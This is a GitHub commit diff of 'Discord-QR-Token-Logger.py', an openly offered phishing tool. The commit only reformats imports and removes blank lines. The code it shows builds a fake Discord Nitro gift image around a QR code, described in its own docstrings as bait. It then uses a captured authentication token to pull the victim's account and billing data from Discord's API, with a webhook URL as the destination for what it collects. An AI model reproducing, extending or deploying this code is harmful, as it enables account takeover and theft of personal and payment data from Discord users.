Update Discord-QR-Token-Logger.py

This commit is contained in:
mouadessalim 2022-09-26 22:36:08 +01:00 committed by GitHub
parent d75347a569
commit 486b1a5439
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -14,15 +14,10 @@ the-cult-of-integral
mte0 mte0
""" """
import base64 import base64, ctypes, os, re, time
import ctypes
import os
import re
import time
from io import BytesIO from io import BytesIO
from tempfile import NamedTemporaryFile, TemporaryDirectory from tempfile import NamedTemporaryFile, TemporaryDirectory
from threading import Thread from threading import Thread
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
from discord_webhook import DiscordEmbed, DiscordWebhook from discord_webhook import DiscordEmbed, DiscordWebhook
from PIL import Image from PIL import Image
@ -35,14 +30,12 @@ from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support.ui import WebDriverWait
from utilities import banner, pystray_img from utilities import banner, pystray_img
YES = 'y' YES = 'y'
NO = 'n' NO = 'n'
SLEEP_TIME = 3 SLEEP_TIME = 3
def generate_qr_code(path_1: str, path_2: str) -> None: def generate_qr_code(path_1: str, path_2: str) -> None:
"""Generates a QR code using the files in the resources directory. """Generates a QR code using the files in the resources directory.
\nThis QR code will be placed upon a Discord Nitro template to form a full bait image. \nThis QR code will be placed upon a Discord Nitro template to form a full bait image.
@ -52,7 +45,6 @@ def generate_qr_code(path_1: str, path_2: str) -> None:
qr_img.paste(ovly_img, (60, 55)) qr_img.paste(ovly_img, (60, 55))
qr_img.save(path_2, quality=95) qr_img.save(path_2, quality=95)
def generate_nitro_template(path_2: str) -> None: def generate_nitro_template(path_2: str) -> None:
"""Generates a Discord Nitro template using the files in the resources directory. """Generates a Discord Nitro template using the files in the resources directory.
\nThis template will be used to form a full bait image after a QR code pasted on it. \nThis template will be used to form a full bait image after a QR code pasted on it.
@ -61,7 +53,6 @@ def generate_nitro_template(path_2: str) -> None:
nitro_template.paste(Image.open(path_2, 'r'), (120, 409)) nitro_template.paste(Image.open(path_2, 'r'), (120, 409))
nitro_template.save('discord_gift.png', quality=95) nitro_template.save('discord_gift.png', quality=95)
def get_user_std_data(token: str) -> list | None: def get_user_std_data(token: str) -> list | None:
"""Gets a user's standard data from the Discord API via their authentication token. """Gets a user's standard data from the Discord API via their authentication token.
""" """
@ -72,7 +63,6 @@ def get_user_std_data(token: str) -> list | None:
except: except:
return None return None
def get_user_billing_data(token: str, link_int: int) -> dict: def get_user_billing_data(token: str, link_int: int) -> dict:
"""Gets a user's billing data from the Discord API via their authentication token. """Gets a user's billing data from the Discord API via their authentication token.
""" """
@ -83,7 +73,6 @@ def get_user_billing_data(token: str, link_int: int) -> dict:
response_json = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json() response_json = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json()
return response_json return response_json
def main(webhook_url: str) -> None: def main(webhook_url: str) -> None:
"""The main function of the program. """The main function of the program.
\nProgram by Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0 \nProgram by Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0
@ -197,7 +186,6 @@ def main(webhook_url: str) -> None:
Write.Input('\n\n[*] Press ENTER to quit.', Colors.blue_to_green) Write.Input('\n\n[*] Press ENTER to quit.', Colors.blue_to_green)
if __name__ == "__main__": if __name__ == "__main__":
def pystray_icon(): def pystray_icon():